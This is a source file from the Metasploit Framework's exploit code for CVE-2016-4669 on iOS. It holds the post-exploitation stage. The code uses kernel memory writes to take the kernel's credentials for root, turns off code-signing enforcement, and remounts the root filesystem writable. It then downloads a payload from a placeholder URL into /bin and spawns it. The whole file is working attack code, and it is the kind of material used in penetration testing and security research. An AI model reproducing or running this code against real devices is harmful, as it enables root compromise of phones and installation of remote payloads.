metasploit-framework/external/source/exploits/CVE-2016-4669/shell.m

162 lines
5.8 KiB
Objective-C

// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/
// [2] http://www.newosxbook.com/articles/CodeSigning.pdf
#include "macho.h"
#include "utils.h"
#include "offsets.h"
#define MNT_ROOTFS 0x00004000
#define MNT_RDONLY 0x00000001
#define MNT_NOSUID 0x00000008
#define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
static struct {
addr_t amfi_allow_any_signature;
addr_t cs_enforcement_disable;
addr_t p_rootvnode;
addr_t base;
} koffsets = {
.amfi_allow_any_signature = 0x807c3b30,
.cs_enforcement_disable = 0x807c3b38,
.p_rootvnode = 0x8038c1b4,
.base = 0x80001000
};
addr_t get_port_addr(addr_t space, mach_port_t port)
{
addr_t is_table_size;
addr_t is_table;
addr_t addr;
is_table_size = kr32(space + SPACE_is_table_size);
is_table = kr32(space + SPACE_is_table);
addr = kr32(is_table + (port >> 8)*0x10);
return addr;
}
addr_t proc_for_pid(addr_t self_proc, int pid)
{
addr_t next = kr32(self_proc);
while (next != self_proc) {
int _pid = kr32(next + 8);
if (_pid == pid) {
return next;
}
next = kr32(next);
}
return 0;
}
int remount_root_rw(addr_t slide)
{
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY));
char* nmz = strdup("/dev/disk0s1s1");
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
if (ret < 0) {
LOG("mount failed ret: %d", ret);
return -1;
}
LOG("root fs mounted r/w");
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY);
return 0;
}
int remount_root_ro(addr_t slide)
{
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
mnt_flags |= MNT_RDONLY;
mnt_flags &= ~MNT_ROOTFS;
kw32(v_mount + MOUNT_mnt_flags, mnt_flags);
char* nmz = strdup("/dev/disk0s1s1");
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
if (ret < 0) {
LOG("mount failed ret: %d", ret);
return -1;
}
LOG("root fs mounted ro");
kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS);
return 0;
}
void random_string(char *s, const int len) {
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for (int i = 0; i < len; ++i) {
s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
}
s[len] = 0;
}
void deploy()
{
char* path = "/bin/random";
random_string(path + 5, 6);
download(PAYLOAD_URL_PLACEHOLDER, path);
pid_t pid = 0;
char *args[] = {path, NULL};
int ret = posix_spawn(&pid, path, 0, 0, args, NULL);
if (ret < 0) {
LOG("posix_spawn failed: %d", ret);
return;
}
waitpid(pid, 0, 0);
LOG("shell deployed");
}
void shell_main(addr_t self_space, addr_t slide)
{
addr_t self_addr = get_port_addr(self_space, mach_task_self());
LOG("self_addr: %lx", self_addr);
addr_t self_task = kr32(self_addr + IPC_PORT_kobject);
LOG("self_task: %lx", self_task);
addr_t self_proc = kr32(self_task + TASK_bsd_proc);
LOG("self_proc: %lx", self_proc);
addr_t kernel_proc = proc_for_pid(self_proc, 0);
LOG("kernel_proc: %lx", kernel_proc);
// privilege escalation from [1]
addr_t self_ucred = kr32(self_proc + PROC_ucred);
addr_t kernel_cred = kr32(kernel_proc + PROC_ucred);
kw32(self_proc + PROC_ucred, kernel_cred);
LOG("got root uid: %d, gid: %d", getuid(), getgid());
// disable code signing by overwriting kernel arguments
// as described in [2]
//
// defeats
// outside of container && !i_can_has_debugger
kw32(koffsets.amfi_allow_any_signature + slide, 1);
kw32(koffsets.cs_enforcement_disable + slide, 1);
// root file system remount from [1]
remount_root_rw(slide);
deploy();
remount_root_ro(slide);
// restore credentials
kw32(self_proc + PROC_ucred, self_ucred);
}